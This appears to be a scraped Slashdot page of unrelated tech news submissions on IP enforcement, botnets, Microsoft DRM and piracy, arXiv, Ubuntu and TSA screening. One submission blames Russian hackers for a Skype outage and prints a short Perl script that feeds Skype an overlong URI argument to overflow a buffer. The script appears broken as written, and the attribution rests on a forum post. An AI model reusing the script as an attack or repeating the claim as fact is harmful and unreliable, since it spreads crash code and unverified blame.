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Submission + - President Decrees Formation of IP Cops (whitehouse.gov) 1

Anonymous Coward writes: "On February 8, President Obama issued a decree that clamping down on IP and increasing spending on copyright cops would somehow stimulate the economy's creativity, so he created "Intellectual Property Enforcement Advisory Committees" of all the heads of our departments to do what they must to please the RIAA and MPAA. As usual, Biden was leading the charge.

From the article:
"To ensure that the Administration does its best to protect these innovations and creative products, today the President issued this Executive Order, which establishes a Cabinet level Senior Intellectual Property Enforcement Advisory Committee comprised of the heads of the Departments responsible for intellectual property enforcement, including the Departments of Justice, Homeland Security, Commerce, Health and Human Services, State, Treasury, Agriculture and USTR. The Executive Order also establishes the Intellectual Property Enforcement Advisory Committee comprised of representatives from the agencies responsible for designing and carrying out the Administration’s strategy for stopping intellectual property theft."

Gotta love that doublespeak."

Submission + - Federal Judge Orders GMail Account Nuked Over Bank (mediapost.com)

An anonymous reader writes: Wyoming based Rocky Mountain Bank accidentally sent confidential financial information to the wrong Gmail account. When Google refused to identify the innocent account owner's information, citing its privacy policy, the bank filed in Federal court to have the account deactivated and the user's information revealed. District Judge James Ware granted the bank's request, with the result that the user has had his email access cut off without an wrongdoing or knowledge of why.
IT

Submission + - Up To 9% Of A Company's Machines Are Bot-Infected (darkreading.com)

ancientribe writes: "Bot infections are on the rise in businesses, and most come from botnets you've never heard of nor ever will. Botnet researchers at Damballa have found that nearly 60 percent of bot infections in organizations are from bot armies with only a handful to a few hundred bots built to target a particular organization. Only 5 percent of the bot infections were from big-name botnets, such as Zeus/ZDbot and Koobface. And more businesses are getting hit: 7 to 9 percent of an organization's machines are bot-infected, up from 5- to 7 percent last year, according to Damballa."
Microsoft

Microsoft Calls Today Global Anti-Piracy Day 500

arcticstoat points out an article at Custom PC, according to which: "Microsoft has announced that today is Global Anti-Piracy Day. Launching several global initiatives, the aim is to raise awareness of the damage to software innovation that Microsoft says is caused by piracy. ... As well as educating people about piracy, Microsoft has also initiated a huge list of legal proceedings that it's taking out against pirates. Microsoft isn't messing about when it says 'global' either. The list of 49 countries that Microsoft is targeting spans six continents, and ranges from the UK and the US all the way through to Chile, Egypt, Kuwait, Indonesia and China." Interestingly enough, unauthorized copies of Vista might not be harming the company all that much: reader twitter was among several to contribute links to a related story at Computer World which highlights Microsoft attorney Bonnie MacNaughton's acknowledgement that pirates prefer Windows XP over Vista and Office 2003 over 2007.
Microsoft

Submission + - Microsoft IP Exec Touts 'Mixed-Source' Future (infoworld.com) 3

snydeq writes: "Microsoft VP of Intellectual Property and Licensing Horacio Gutierrez describes a software future that is harder and harder to define as 'divided between open source and proprietary companies,' in an interview with InfoWorld. 'Every company that traditionally comes from an open source background has over time moved to the middle after realizing that in addition to the open source foundation, they also need proprietary offerings that will differentiate their services from others and therefore will enable them to build a viable business,' Gutierrez says. As for Microsoft's move toward this mixed-source future, calling out companies for infringing on Microsoft patents has apparently proved key to initiating collaboration: 'That is when my work and the work of the IP licensing team at Microsoft comes in, by turning those situations into potential collaborations that really answer what customers want,' Guiterrez says. 'Customers don't want to have to deal with these issues of interoperability and IP assurance concerns. They want their vendors to come together and solve it and that is the solution that we feel has worked and will continue to work in the future.' The interview, in which Gutierrez references collaboration 16 times, also touches on Microsoft's Eclipse agenda, cross-platform development efforts, interest in offering products under the open source license, and piracy."
Security

FBI Warns of Sweeping Global Threat To US Cybersecurity 134

GovIT Geek writes "The FBI's newly appointed chief of cyber security warned today that 'a couple dozen' countries are eager to hack US government, corporate, and military networks. While he refused to provide country-specific details, FBI Cyber Division Chief Shawn Henry told reporters at a roundtable that cooperation with foreign law enforcement is one of the Bureau's highest priorities and added the United States has had incredible success fostering overseas partnerships."
The Internet

Free Online Scientific Repository Hits Milestone 111

ocean_soul writes "Last week the free and open access repository for scientific (mainly physics but also math, computer sciences...) papers arXiv got past 500,000 different papers, not counting older versions of the same article. Especially for physicists, it is the number-one resource for the latest scientific results. Most researchers publish their papers on arXiv before they are published in a 'normal' journal. A famous example is Grisha Perelman, who published his award-winning paper exclusively on arXiv."

Submission + - Queuetastic 0.2 Released! (sourceforge.net)

SF:thedonvaughn writes: I am proud to announce the 2nd release of Queuetastic, v0.2! Queuetastic =========== Distributed under the terms of the GNU General Public License. About ----- Queuetastic is an Asterisk Queue Reporting, Analysis, and Real-time Monitoring tool designed with the Ruby on Rails framework. Features include: - Real-time, live view, of Asterisk queues updated seamlessly using AJAX - Queue stats are collected in real-time using the Asterisk Manager Interface - Load Asterisk\'s queue_log file into a database - Run reports on agent and queue stats. - Partition agents in to \"groups\" for reporting needs.. - Export reports in csv format
Windows

MS Reportedly Adds 6 Months of Vista Downgrade 244

LiteralKa sends in a poorly sourced Reg story claiming that Microsoft has granted OEMs six more months to sell PCs using Windows Vista with the support to downgrade to Windows XP. OEMs can now offer such arrangements until July 31, 2009 — the previous deadline was January 31, 2009. The article claims as source "a Reg reader" without further details. Neither Microsoft nor any OEM has confirmed the rumor, and only a few scattered bloggers have picked it up.
The Internet

Verizon Denies DSL Because of Subscriber's Name 493

mikek2 writes "When retired Philadelphia-area doctor and Vietnam veteran Dr. Herman I. Libshitz went to upgrade his dial-up connection to Verizon DSL, he was informed they wouldn't complete the order because his last name contained an expletive. Repeated calls to several levels of management at Verizon failed to resolve the problem, with several managers suggesting he change his last name. It all worked out in the end, after the Philadelphia Enquirer intervened."
Portables

Mark Shuttleworth Reveals Ubuntu Netbook Remix 245

Glyn Moody writes "In an interview with the Guardian today, Mark Shuttleworth talks about the upcoming Ubuntu Netbook Remix, a tailored version for ultraportables, produced in collaboration with Intel." The new version of Ubuntu is barely mentioned in this interview, but it's tantalizing -- SUSE looks nice on the HP Mininotes, but for people who are used to and enjoy Ubuntu, it's an option to look forward to.
Microsoft

Submission + - Why Microsoft's Netflix DRM Sucks (thomashawk.com)

Thomas Hawk writes: "Why does DRM time and time again get in the way of legitimate paid use when consuming content? This morning I tried to install the latest "Watch Now" software to watch movies that I am paying for from Netflix. Not only did Netflix require my Microsoft DRM to be reset (which supposedly wipes out other legal licenses from other non-Netflix Microsoft DRM partners) but even after going through all the steps to reset my DRM (including their utility and phone technical support) I still was unable to get my Netflix "Watch Now" movies and was told that it was likely a hardware problem with a brand new Vista PC. Of all the ludicrous suggestions to fix my problem, one suggestion was that install a second monitor to the computer and run it in dual monitor mode. No wonder why people hate DRM so much. http://thomashawk.com/2008/05/why-microsofts-netflix-drm-sucks-big.html"
Security

Submission + - Skype crash has been caused by Russian hackers (xakep.ru) 8

An anonymous reader writes: Yesterday's Skype worldwide crash has been caused by Russian hackers, as per www.xakep.ru forum info (http://www.xakep.ru/post/39746/default.asp). They have found a local buffer overflow vulnerability caused by sending a long string to the Skype authorisation server. Within several hours those guys managed to take offline all Skype servers and prevent users from logging in. Here is exploit's code: [code]#!/usr/bin/perl # Simle Code by Maranax Porex ;D # Ya Skaypeg!! for ($i=256; $i>xCCCCC; $i=$i+256) { $eot='AAAA' x $i; call_sp(); } exit; sub call_sp() { $str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\""; system("$str"); }[/code]
Security

Submission + - Orwellian 'Behavior Detection Officers' for TSA (msn.com) 1

Stanistani writes: "According to Newsweek, at US airports some security personnel will be observing passengers for facial expressions which indicate malicious intent. If they believe you look like you might be thinking of causing harm, you can be taken aside for further questioning. Welcome these new overseers: 'Behavior Detection Officers.' Their potentially life-changing decisions will be based on the pseudoscience of 'micro-expressions.'"
Education

Submission + - Baby Einstein Videos May Produce Baby Hueys

BendingSpoons writes: A new study suggests that "educational" DVDs aimed at toddlers may do more harm than good. The study, led by two researchers from the University of Washington, concludes that videos such as Baby Einstein and Brainy Babies may actually delay language development in toddlers. Walt Disney Co. (the parent company of Baby Einstein) has responded by calling on the University of Washington to retract its news release of the study. In his public letter to the University, Disney Chief Executive Robert Iger attacks the study for its "doubtful methodology, anomalous data, and unreliable inferences." NPR has interviewed one of the researchers, Dr. Dimitri Christakis, concerning his findings; the program also interviewed the DVD Reviewer of Parenting Magazine, who finds the study unconvincing . It should perhaps be noted that the American Academy of Pediatricians reccomends that children under two not watch any television at all.

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